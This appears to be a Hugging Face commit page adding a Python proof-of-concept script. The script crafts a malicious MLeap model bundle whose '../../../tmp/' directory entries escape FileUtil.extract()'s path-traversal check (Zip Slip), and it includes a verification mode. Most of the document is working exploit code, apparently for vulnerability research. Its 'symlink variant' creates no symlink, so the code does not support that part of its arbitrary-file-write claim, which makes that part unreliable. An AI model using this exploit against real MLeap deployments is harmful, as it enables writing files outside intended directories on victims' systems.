Zeiyre commited on
Commit
ea00b9c
·
verified ·
1 Parent(s): b8b0e0a

Upload mleap/craft_zipslip_bundle.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. mleap/craft_zipslip_bundle.py +117 -0
mleap/craft_zipslip_bundle.py ADDED
@@ -0,0 +1,117 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: MLeap Zip Slip Path Traversal — Directory Entry Bypass
3
+ ============================================================
4
+ Crafts a malicious ZIP archive demonstrating how directory entries
5
+ bypass the path traversal check in FileUtil.extract().
6
+
7
+ The extract() method only validates file entries, not directory entries.
8
+ A ZIP with a directory entry like "../../../tmp/evil/" will create that
9
+ directory outside the extraction target without triggering the check.
10
+
11
+ Usage:
12
+ python craft_zipslip_bundle.py # Generate PoC ZIP
13
+ python craft_zipslip_bundle.py --verify # Show ZIP contents
14
+
15
+ This is for authorized security research only.
16
+ """
17
+
18
+ import zipfile
19
+ import os
20
+ import argparse
21
+
22
+
23
+ def craft_zipslip_bundle(output_path="malicious_bundle.zip"):
24
+ """
25
+ Create a ZIP archive with directory entries that bypass MLeap's
26
+ FileUtil.extract() path traversal validation.
27
+
28
+ The vulnerable code:
29
+ if (entry.isDirectory) {
30
+ Files.createDirectories(filePath) // NO PATH CHECK
31
+ } else {
32
+ // ... startsWith check only here ...
33
+ }
34
+ """
35
+
36
+ with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
37
+ # 1. Legitimate bundle structure (so MLeap accepts it)
38
+ zf.writestr("bundle.json", '{"uid":"poc","name":"poc","format":"ml.combust.mleap.binary","version":"0.23.0"}')
39
+ zf.writestr("root/model.json", '{"op":"poc","attributes":{}}')
40
+ zf.writestr("root/saved_model.pb", b"fake saved model data")
41
+
42
+ # 2. Directory traversal entries — BYPASS the path check
43
+ # These are directory entries (trailing slash) which FileUtil.extract()
44
+ # processes with Files.createDirectories() WITHOUT path validation
45
+
46
+ # Create directory outside extraction target
47
+ dir_info = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/")
48
+ dir_info.external_attr = 0o755 << 16 # Unix directory permissions
49
+ zf.writestr(dir_info, "")
50
+
51
+ # Nested escape
52
+ dir_info2 = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/subdir/")
53
+ dir_info2.external_attr = 0o755 << 16
54
+ zf.writestr(dir_info2, "")
55
+
56
+ # 3. Symlink attack variant — plant a symlink via directory bypass,
57
+ # then a subsequent file entry follows the symlink
58
+ # (exploits the toRealPath/normalize mismatch in the file check)
59
+ symlink_dir = zipfile.ZipInfo("../../../tmp/mleap_poc_symlink/")
60
+ symlink_dir.external_attr = 0o755 << 16
61
+ zf.writestr(symlink_dir, "")
62
+
63
+ file_size = os.path.getsize(output_path)
64
+ print(f"[+] Malicious MLeap bundle written to: {output_path}")
65
+ print(f" Size: {file_size} bytes")
66
+ print()
67
+ print(" ZIP contents:")
68
+ with zipfile.ZipFile(output_path, "r") as zf:
69
+ for info in zf.infolist():
70
+ entry_type = "DIR " if info.filename.endswith("/") else "FILE"
71
+ bypass = " <-- BYPASSES PATH CHECK" if (info.filename.endswith("/") and ".." in info.filename) else ""
72
+ print(f" [{entry_type}] {info.filename}{bypass}")
73
+ print()
74
+ print("[!] When loaded by MLeap's FileUtil.extract():")
75
+ print(" - Directory entries skip path validation entirely")
76
+ print(" - ../../../tmp/mleap_poc_escaped/ is created outside extraction dir")
77
+ print(" - Can be chained with symlink to achieve arbitrary file write")
78
+ return output_path
79
+
80
+
81
+ def main():
82
+ parser = argparse.ArgumentParser(description="MLeap Zip Slip PoC")
83
+ parser.add_argument("-o", "--output", default="malicious_bundle.zip")
84
+ parser.add_argument("--verify", action="store_true",
85
+ help="Show ZIP contents and verify structure")
86
+ args = parser.parse_args()
87
+
88
+ path = craft_zipslip_bundle(args.output)
89
+
90
+ if args.verify:
91
+ print()
92
+ print("Verification — simulating FileUtil.extract() logic:")
93
+ with zipfile.ZipFile(path, "r") as zf:
94
+ dest = "/tmp/mleap_extraction_target"
95
+ for entry in zf.infolist():
96
+ file_path = os.path.normpath(os.path.join(dest, entry.filename))
97
+ if entry.filename.endswith("/"):
98
+ # Directory entry — MLeap does NO validation here
99
+ is_escape = not file_path.startswith(dest + os.sep)
100
+ status = "BYPASS — no check!" if is_escape else "safe (inside dest)"
101
+ print(f" DIR: {entry.filename}")
102
+ print(f" resolves to: {file_path}")
103
+ print(f" status: {status}")
104
+ else:
105
+ # File entry — MLeap DOES validate here
106
+ dest_canonical = os.path.normpath(dest)
107
+ entry_canonical = os.path.normpath(file_path)
108
+ passes_check = entry_canonical.startswith(dest_canonical + os.sep)
109
+ status = "allowed (passes check)" if passes_check else "BLOCKED"
110
+ print(f" FILE: {entry.filename}")
111
+ print(f" resolves to: {file_path}")
112
+ print(f" status: {status}")
113
+ print()
114
+
115
+
116
+ if __name__ == "__main__":
117
+ main()